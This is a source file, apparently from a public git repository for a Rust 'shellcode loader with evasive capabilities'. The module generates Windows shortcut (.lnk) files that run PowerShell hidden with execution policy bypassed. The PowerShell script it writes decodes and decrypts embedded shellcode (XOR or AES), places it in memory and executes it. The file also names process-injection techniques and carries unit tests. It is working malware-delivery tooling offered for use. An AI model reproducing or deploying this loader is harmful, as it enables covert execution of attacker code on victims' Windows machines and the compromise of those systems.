myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
lnk_generator.rs (9377B)
1 use crate::cli::{EncryptionKind, Technique}; 2 use lnk::ShellLink; 3 use std::fs; 4 use std::io; 5 use std::path::Path; 6 7 pub fn generate_lnk_file( 8 encrypted_shellcode: &[u8], 9 output_path: &Path, 10 encryption: &EncryptionKind, 11 technique: &Technique, 12 key: &str, 13 _process: &str, 14 ) -> io::Result<()> { 15 let powershell_payload = 16 generate_powershell_payload(encrypted_shellcode, encryption, technique, key); 17 18 let temp_dir = std::env::temp_dir(); 19 let payload_file = temp_dir.join(format!("payload_{}.ps1", uuid::Uuid::new_v4())); 20 21 fs::write(&payload_file, powershell_payload.as_bytes())?; 22 23 // Use default() for cross-platform compatibility (doesn't require target file to exist) 24 let mut shell_link = ShellLink::default(); 25 26 // Set target to PowerShell 27 shell_link.set_relative_path(Some(format!(".\\{}", "powershell.exe"))); 28 shell_link.set_working_dir(Some( 29 r"C:\Windows\System32\WindowsPowerShell\v1.0".to_string(), 30 )); 31 32 let arguments = format!( 33 r#"-WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -File "{}""#, 34 payload_file.display() 35 ); 36 37 shell_link.set_arguments(Some(arguments)); 38 shell_link.set_icon_location(Some(r"C:\Windows\System32\shell32.dll".into())); 39 40 // Set appropriate flags for the link 41 let header = shell_link.header_mut(); 42 let current_flags = *header.link_flags(); 43 header.set_link_flags( 44 current_flags 45 | lnk::LinkFlags::HAS_ARGUMENTS 46 | lnk::LinkFlags::HAS_RELATIVE_PATH 47 | lnk::LinkFlags::HAS_WORKING_DIR 48 | lnk::LinkFlags::HAS_ICON_LOCATION 49 | lnk::LinkFlags::IS_UNICODE, 50 ); 51 52 shell_link 53 .save(output_path) 54 .map_err(|e| io::Error::other(format!("Failed to save LNK file: {}", e)))?; 55 56 Ok(()) 57 } 58 59 fn generate_powershell_payload( 60 encrypted_shellcode: &[u8], 61 encryption: &EncryptionKind, 62 technique: &Technique, 63 key: &str, 64 ) -> String { 65 let base64_shellcode = base64_encode(encrypted_shellcode); 66 let decryption_code = generate_decryption_code(encryption, key); 67 let execution_code = generate_execution_code(technique); 68 69 format!( 70 r#" 71 $ErrorActionPreference = "SilentlyContinue" 72 $encData = [System.Convert]::FromBase64String("{}") 73 {} 74 $shellcode = $decryptedData 75 {} 76 "#, 77 base64_shellcode, decryption_code, execution_code 78 ) 79 } 80 81 fn base64_encode(data: &[u8]) -> String { 82 use base64::Engine; 83 base64::engine::general_purpose::STANDARD.encode(data) 84 } 85 86 fn generate_decryption_code(encryption: &EncryptionKind, key: &str) -> String { 87 match encryption { 88 EncryptionKind::XOR => { 89 format!( 90 r#" 91 $key = [System.Text.Encoding]::UTF8.GetBytes("{}") 92 $decryptedData = New-Object byte[] $encData.Length 93 for ($i = 0; $i -lt $encData.Length; $i++) {{ 94 $decryptedData[$i] = $encData[$i] -bxor $key[$i % $key.Length] 95 }} 96 "#, 97 key 98 ) 99 } 100 EncryptionKind::AES | EncryptionKind::AES256 => { 101 let key_size = if matches!(encryption, EncryptionKind::AES) { 102 128 103 } else { 104 256 105 }; 106 format!( 107 r#" 108 $keyBytes = [System.Security.Cryptography.SHA256]::Create().ComputeHash([System.Text.Encoding]::UTF8.GetBytes("{}")) 109 $iv = $encData[0..15] 110 $ciphertext = $encData[16..($encData.Length - 1)] 111 $aes = [System.Security.Cryptography.Aes]::Create() 112 $aes.KeySize = {} 113 $aes.Key = $keyBytes[0..(({}/8) - 1)] 114 $aes.IV = $iv 115 $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC 116 $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 117 $decryptor = $aes.CreateDecryptor() 118 $decryptedData = $decryptor.TransformFinalBlock($ciphertext, 0, $ciphertext.Length) 119 $aes.Dispose() 120 "#, 121 key, key_size, key_size 122 ) 123 } 124 EncryptionKind::Chacha20 => { 125 format!( 126 r#" 127 # ChaCha20 decryption requires external library or native implementation 128 # For simplicity, using XOR as fallback 129 $key = [System.Text.Encoding]::UTF8.GetBytes("{}") 130 $decryptedData = New-Object byte[] $encData.Length 131 for ($i = 0; $i -lt $encData.Length; $i++) {{ 132 $decryptedData[$i] = $encData[$i] -bxor $key[$i % $key.Length] 133 }} 134 "#, 135 key 136 ) 137 } 138 EncryptionKind::Blowfish | EncryptionKind::Twofish | EncryptionKind::Camellia => { 139 let enc_name = format!("{:?}", encryption); 140 format!( 141 r#" 142 # {0} decryption requires external library 143 # For simplicity, using XOR as fallback 144 $key = [System.Text.Encoding]::UTF8.GetBytes("{1}") 145 $decryptedData = New-Object byte[] $encData.Length 146 for ($i = 0; $i -lt $encData.Length; $i++) {{ 147 $decryptedData[$i] = $encData[$i] -bxor $key[$i % $key.Length] 148 }} 149 "#, 150 enc_name, key 151 ) 152 } 153 } 154 } 155 156 fn generate_execution_code(technique: &Technique) -> String { 157 match technique { 158 Technique::CreateFiber 159 | Technique::Syscall 160 | Technique::Etwp 161 | Technique::SetTimer 162 | Technique::EnumCalendar 163 | Technique::EnumWindows 164 | Technique::EnumSystemLocales 165 | Technique::ImageGetDigestStream 166 | Technique::ModuleStomping 167 | Technique::FairyLaw => r#" 168 $addr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer( 169 [System.Runtime.InteropServices.Marshal]::AllocHGlobal($shellcode.Length), 170 [Type]::GetType("System.Void") 171 ) 172 [System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $addr, $shellcode.Length) 173 $invokeMethod = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer( 174 $addr, 175 [Type]::GetType("System.Action") 176 ) 177 $invokeMethod.Invoke() 178 "# 179 .to_string(), 180 Technique::CRT 181 | Technique::CRTx 182 | Technique::ProcessHollowing 183 | Technique::CreateThread 184 | Technique::NtCreateThreadEx 185 | Technique::QueueUserAPC 186 | Technique::ThreadHijacking 187 | Technique::EarlyBird => r#" 188 # Process injection techniques not fully supported in LNK format 189 # Using local execution as fallback 190 $addr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($shellcode.Length) 191 [System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $addr, $shellcode.Length) 192 $fnPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer( 193 $addr, 194 [Type]::GetType("System.Action") 195 ) 196 $fnPtr.Invoke() 197 "# 198 .to_string(), 199 } 200 } 201 202 #[cfg(test)] 203 mod tests { 204 use super::*; 205 206 #[test] 207 fn test_generate_powershell_payload() { 208 let shellcode = vec![0x90, 0x90, 0xc3]; 209 let payload = generate_powershell_payload( 210 &shellcode, 211 &EncryptionKind::XOR, 212 &Technique::CreateFiber, 213 "test_key", 214 ); 215 216 assert!(payload.contains("FromBase64String")); 217 assert!(payload.contains("test_key")); 218 assert!(payload.contains("$decryptedData")); 219 } 220 221 #[test] 222 fn test_base64_encode() { 223 let data = vec![0x48, 0x65, 0x6c, 0x6c, 0x6f]; 224 let encoded = base64_encode(&data); 225 assert_eq!(encoded, "SGVsbG8="); 226 } 227 228 #[test] 229 fn test_generate_decryption_code_xor() { 230 let code = generate_decryption_code(&EncryptionKind::XOR, "mykey"); 231 assert!(code.contains("mykey")); 232 assert!(code.contains("-bxor")); 233 assert!(code.contains("$decryptedData")); 234 } 235 236 #[test] 237 fn test_generate_decryption_code_aes() { 238 let code = generate_decryption_code(&EncryptionKind::AES, "mykey"); 239 assert!(code.contains("mykey")); 240 assert!(code.contains("SHA256")); 241 assert!(code.contains("Aes")); 242 assert!(code.contains("KeySize = 128")); 243 } 244 245 #[test] 246 fn test_generate_decryption_code_aes256() { 247 let code = generate_decryption_code(&EncryptionKind::AES256, "mykey"); 248 assert!(code.contains("KeySize = 256")); 249 } 250 251 #[test] 252 fn test_generate_execution_code_local() { 253 let code = generate_execution_code(&Technique::CreateFiber); 254 assert!(code.contains("AllocHGlobal")); 255 assert!(code.contains("Marshal")); 256 assert!(code.contains("Invoke")); 257 } 258 259 #[test] 260 fn test_generate_execution_code_injection() { 261 let code = generate_execution_code(&Technique::CRT); 262 assert!(code.contains("AllocHGlobal")); 263 assert!(code.contains("fallback")); 264 } 265 266 #[test] 267 #[cfg(target_os = "windows")] 268 fn test_generate_lnk_file() { 269 let shellcode = vec![0x90, 0x90, 0xc3]; 270 let temp_dir = std::env::temp_dir(); 271 let output = temp_dir.join("test_output.lnk"); 272 273 let result = generate_lnk_file( 274 &shellcode, 275 &output, 276 &EncryptionKind::XOR, 277 &Technique::CreateFiber, 278 "test_key", 279 "notepad.exe", 280 ); 281 282 if let Err(e) = &result { 283 eprintln!("Error generating LNK file: {}", e); 284 } 285 assert!(result.is_ok(), "Failed to generate LNK file: {:?}", result); 286 assert!(output.exists()); 287 288 std::fs::remove_file(&output).ok(); 289 } 290 291 #[test] 292 #[cfg(not(target_os = "windows"))] 293 fn test_generate_lnk_file_skip_non_windows() { 294 // Skipped on non-Windows platforms since PowerShell doesn't exist 295 // This is a placeholder to avoid confusion 296 } 297 }